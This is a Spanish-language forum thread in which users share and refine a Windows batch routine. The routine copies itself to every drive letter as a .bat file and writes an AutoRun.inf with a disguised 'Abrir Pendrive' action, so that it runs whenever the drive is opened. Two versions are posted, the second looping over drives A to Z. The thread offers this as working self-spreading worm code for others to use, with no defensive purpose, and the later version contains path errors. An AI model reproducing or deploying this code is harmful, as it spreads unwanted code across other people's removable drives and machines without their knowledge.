Creo que hasta ahora es la mejor manera para copiarse y repartirse por USB, aunque es posible optimizarlo tambien usando el comando FOR...
Para el uso de esto se debe hacer una llamada a la etiqueta :copiausb a traves del comando call..
Por ejemplo:
call :copiausb y el code hara el resto de crear el autorun y de copiarlo a las diferentes unidades...
:copiausb
if exist C: call :creausb C
if exist D: call :creausb D
if exist E: call :creausb E
if exist F: call :creausb F
if exist G: call :creausb G
if exist H: call :creausb H
if exist I: call :creausb I
if exist J: call :creausb J
if exist K: call :creausb K
goto :eof
:creausb
copy %0 "%1:\nombre.bat"
echo [Autorun] > "%1:\AutoRun.inf"
echo open="nombre.bat" >> "%1:\AutoRun.inf"
echo action=Abrir Pendrive >> "%1:\AutoRun.inf"
echo shellexecute= "/nombre.bat" >> "%1:\AutoRun.inf"
goto :eof
Ademas que puede ser extendido para que detecte mas unidades, sin extender tanto el codigo, ahorrandonos varias lineas...
Para la parte del for tengo este code pero no lo he probado:
FOR %%a in ( C D E F G H I J K L M ) do (if exist %%a: (call :creausb %%a))
Espero que les sea de utilidad.
Saludos.
Muchas gracias, sirve bastante =)
Lo sacaste de algun lado o lo has echo tu mismo?
Como sea, me gusta este script.
CitarPara la parte del for tengo este code pero no lo he probado:
Código:
FOR %%a in ( C D E F G H I J K L M ) do (if exist %%a: (call :creausb %%a))
¿No tendría que estar separado por comas? O es lo mismo así...
FOR %%a in ( C, D, E, F, G, H, I, J, K, L, M ) do (if exist %%a: (call :creausb %%a))
Pero igual, esta bueno.
Saludos
el codigo lo he ideado yo mismo, no lo he copiado de ningun lado, es 100% mio ::)
ya lo he probado y funciona perfecto, solo hace falta un cambio que me sugirieron pero ahora mas tarde lo pongo...
Saludos.
Bien... el script se ha mejorado, gracias a mi amigo Espesctro Infernal...
FOR %%A IN (A B C D F G H I J K L M N O P Q R S T U V W X Y Z) DO CALL INTERMEDIARIO %%A
GOTO :EOF
:INTERMEDIARIO
SET UNIDAD=%1
IF EXIST "%UNIDAD%:" (CALL :CREAUSB %UNIDAD%)
GOTO :EOF
:CREAUSB
SET LETRA=%1
COPY %0 "%LETRA%:\NOMBRE.BAT"
ECHO [AUTORUN] > "%LETRA%\AUTORUN.INF"
ECHO OPEN="NOMBRE.BAT" >> "%LETRA%\AUTORUN.INF"
ECHO ACTION=Abrir Pendrive >> "%LETRA%\AUTORUN.INF"
ECHO SHELLEXECUTE= "\NOMBRE.BAT" >> "%LETRA%\AUTORUN.INF"
GOTO :EOF
Saludos.